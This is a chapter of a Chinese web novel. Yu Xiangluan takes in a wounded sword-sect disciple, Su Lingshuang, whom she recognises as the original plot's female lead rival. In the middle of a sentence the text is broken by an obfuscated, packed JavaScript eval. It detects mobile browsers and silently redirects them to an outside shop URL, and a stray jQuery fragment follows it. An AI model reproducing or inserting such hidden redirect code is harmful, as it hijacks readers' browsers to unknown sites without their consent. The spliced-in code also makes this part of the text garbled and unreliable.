砰——!
玉香乱直接关上了院子大门。
这个剧情她熟,一般故事都是这么演的,在奇怪的时候捡到门外、路边莫名受伤的人回来,然后就会给家里带来大乱。
她懂,她才不捡呢!
可是……
玉香乱抿起嘴,手又不自觉地贴上门栓。
赫望月说苔痕坞只有白家一户,这人如今已经到了院外,即便不捡回来怕是也已无济于事。
反过来想想,这人如今还愿意做这脆弱的姿态,也许一切还有转圜的余地?
也许……自己该捡人进来?
“不对不对!”
玉香乱原本放在门栓上的手收了回来,交握着死死攥紧。
她毕竟不懂法术、符箓,如果那人身上有什么不干净的东西怎么办?
她不能引狼入室啊!
刚一转身,玉香乱突然想起荷包里的符纸。
而且即便她今天不去烧纸人,可顾无咎今日的药还需要九窍菩提子……
她不能不去湖心岛啊!
要装没看见吗?
在门内踟蹰良久,最终玉香乱脚步一顿,向着寒洞的方向走去。
既然她不懂,那去问问懂的人不就好了嘛!
一路小跑至寒洞,冰床上那团赤红正盘成一圈。
似是听到她的脚步,圆圈中间先是立起一只狐耳,确认来人身份后,狐脸才从丰厚的皮毛中探了出来。
见玉香乱气喘吁吁的样子,赫望月关切的开口问道,“怎的跑这般快?可是遇到什么事了?”
双手撑膝的少女未语头先点,“对对对!白家院门趴着一个人!”
玉香乱将自己看见那人的经过讲给赫望月听,并着重强调,“我昨天压住的纸人肩膀处有撕裂,这个人肩膀处也受伤了……”
她站起身,身侧的双手紧握成拳,“也、也许是我多心了。我就是觉得太巧了,很奇怪!”
赤狐视线下垂点了点头,似乎在思索什么。
片刻后,他才出声,“应该不是你多心,这一切的确太巧了。苔痕坞不在人世之间,非特意不得入,门外那人确实蹊跷。”
“那怎么办?…就不管她了吗?”
冰床上的赤狐摇摇头,“人家既然已经找了过来,我倒觉得不如大方请人进来。”
说到这,他顿了一下,“不过还是得和白伯父商量一下。”
玉香乱跟着点点头表示赞同,“也是,毕竟是白先生的家。”
“既如此,那我先去和白先生说,然后让她进来。”
两人敲定好之后,玉香乱跑到顾无咎的房间,此刻白先生正以原型躺在外间的榻上。
她和白先生说了这事,正被儿子伺候着换夹板的大刺猬听了语气倒是很平静,“是福不是祸,是祸躲不过。”
原型有狗子那么大的刺猬,趴在榻上咂摸了一下嘴果,黑豆似的眼睛滴溜溜转了两转。
“来都来了,自然没有让人待在门外的道理,白某身体不便,还劳烦玉姑娘将人请进来。”
玉香乱点点头转身欲往门外走,但刚到门边却突然停住。
“白先生,若是…若是那人身上有什么毒药啊、法术什么的,如果让她进来了,那如何是好?”
白先生用前爪抓了抓后背的刺,发出指甲刮过梳齿的声音,他颇有些潇洒道,“人家现在都到了门口,有什么邪法该用也就用了,进不进门的其实不耽误什么的。你勿虑。”
“行吧。”
来到门前,玉香乱重新打开院子大门,此刻那白衣人依旧趴在原处。
做了个深呼吸后,玉香乱走到近处,蹲下身拂开了地上人脸上的头发。
马尾辫下的脸锐利中带着纤巧,看起来十足一副落难女侠的感觉。
居然是个女的?
“姑娘?”
玉香乱的视线在摇动地上女子的时候,也检查着她的衣饰。
这白衣女子后背背了一柄剑,袖口的护腕上用银线绣着一柄贯穿紫雷的利剑。
她的视线在袖口的纹饰处停留片刻,“嘶——好像有点眼熟。”
可她一时也想不起到底是在哪里见过了。
“算了。”
想到这一趟的任务,玉香乱摇摇头不再多想,将女子架回了院子内。
刚一进大门,就见白先生被白乔阳抱在怀里,此刻正站在院中等着她。
见她扶那陌生女子回来,白乔阳抱着白先生围着玉香乱绕了一圈,随后刺猬的嘴巴对着药炉旁的一间杂物间努了努嘴。
“放那里。”
玉香乱听话地将女子扶进杂物间,转头之际,白先生不知何时已经变回人形。
行动不便的他扶着墙慢慢坐到女子旁边,一手握住她手腕把脉,一手探向她颈间,呈锁喉状按在动脉上。
白先生沉吟片刻后眉头微挑,随即摸出一颗红色的药丸,捏住女子的两颊就往嘴里塞。
遇到这种情况,一般小说里都是女子的嘴被迫张开,然后药被灌了进去。然而地上的女子却牙关紧锁,看着嘴唇内闭合在一起的牙齿,白先生松开了手。
就在女子头外向旁边的瞬间,白先生以食指和中指夹住那颗药,快速捅进女子肩膀的伤口处,那药丸遇血后快速溶解,消失在伤口里。
原本昏迷中的女子浑身上下猛地一抖,脸上眉头紧锁露出痛苦的表情。
之前平躺的身体随着抽搐的动作翻了过去,看不见她的表情后,玉香乱只能看到她撑住身体的手背上青筋暴起。
地上的女子喘匀气后,用没受伤的右手撑着身体坐了起来。
她转过来看向屋内几人,又环视了一下四周,有些不解的问,“这是何处?你们是……?”
“这是我家,你躺在我家门口,家里小辈见你受伤所以带回来看看。”
被儿子扶着站起的白先生自上而下的睨着地上的女子,“姑娘又是何人?为何受伤在此?”
那女子捂着受伤的肩膀微微活动了一下,似乎是伤口有好转,她脸上惊讶片刻随即放松下来。
她微微颔首,道,“我叫苏凌霜,乃太虚剑宗弟子。此番下山历练却偶遇妖兽劫持凡人,前去相帮时不慎被其所伤,追逐间因失血过多倒在贵府处。今日多谢先生救命之恩,来日必结草衔环以报。”
从听到她自报家门的那一刻起,玉香乱就觉得脑中有雷炸开一般。
太虚剑宗苏凌霜……
这不是女配吗!
原剧情中男主顾无咎的师姐,因天资过人、为人正直、容貌秀美而被顾无咎倾慕,但碍于有和玉香乱的婚约在,因此一直求而未得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704686|208283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。也是出于这个原因,顾无咎觉得是玉香乱耽误了自己的好姻缘,所以两人之间隔阂更深,发生了更多狗血虐恋桥段。
不过……
看着和白先生说话的苏凌霜,玉香乱的眉头紧蹙形成一个川字。
原剧情中顾无咎是在入门之后才第一次见到苏凌霜的,此前并没提到两人有任何交集,为何女配会在这里出现呢?
“哎呀,居然有妖怪掳人,这真是太可怕了。这该如何是好?苏姑娘,那妖怪会不会跟着你啊?不如你快些回宗门去吧。”
白先生演技浮夸地捂住嘴,摆出一脸害怕的表情。
他话说的直接,让原本一脸正义凛然的苏凌霜一下子哽住。
“这……”
苏凌霜水灵灵的大眼睛扑闪着眨了眨,可怜兮兮的盯着白先生,可对面的男人始终不为所动。
见她没有表示,原本站得好好的白先生突然向旁边倒去,边倒边喊,“哎呦,我这腿受伤站不久啊。这要是妖怪来了可如何是好?”
白乔阳见此伸手想去拉,可他虽是男孩,但毕竟年纪小,拉不住成年男子体型的自家老爹。
眼看着两人一起往旁边栽倒,玉香乱赶紧手忙脚乱的去拉,一时间不大的杂物间里场面乱成一团。
“白先生!”
苏凌霜捂着肩膀咬紧下唇,眼睛里不只是痛得还是羞得,布满了水雾,看过来的眼神好不可怜。
“我如今受伤行动颇有不便,可否在贵府叨扰几日?待我伤好一些,定当予以重谢!而、而且……我可以帮您干活!”
她看了看白先生的腿,“先生腿部受伤,儿女年纪看起来也轻,想来生活多有不便,若您能收留我,暂住期间府上的杂事我都可帮忙。”
本来扶着墙和儿子、显得绵软无力的白先生听到这话,突然有力气重新站好,“苏姑娘也是伤员,这怎么好意思呢?还是……”
话音未落,一阵哒哒哒的脚步声传来,白乔月小跑着冲进杂物间。
“爹爹,今天的药快到下药引的时间了。”
见玉香乱也在,她过来拉住玉香乱的手,“姐姐,今天的九窍菩提子还没采呢。”
玉香乱这才想起,今天起个大早就是为了去采药,结果被女配一耽搁,差点把正事忘了。
“我现在就去,你稍等我一会儿。”
跟白先生打了招呼后,玉香乱就马不停蹄地往湖心岛赶,女配这边她虽然觉得奇怪,但一时也琢磨不出来女配来这里的目的。
既如此那不如先按下不管,当务之急还是先救活顾无咎才行。
好在有昨日的经历,今天玉香乱没让白乔月跟着,自己独自前往采摘也十分顺利。
当她要返程时,再次来到昨天她亲手堆出来的小石堆前,拨开所有的石头后,那纸人还在原处。
玉香乱取出赫望月给她的符纸,将纸人和符纸一起烧掉。
等了一会儿,见没有其它异常,便原路赶回了白家。
将九窍菩提子交给双子,等他们将药熬好,玉香乱端着药碗往顾无咎的房间走去。
刚到门口,玉香乱就看见同样被安排在这个房间的新伤员苏凌霜,她此刻正站在顾无咎床前好奇的打量他。
看着这画面,玉香乱脚步一顿,突然一个模糊的想法出现在她脑海中。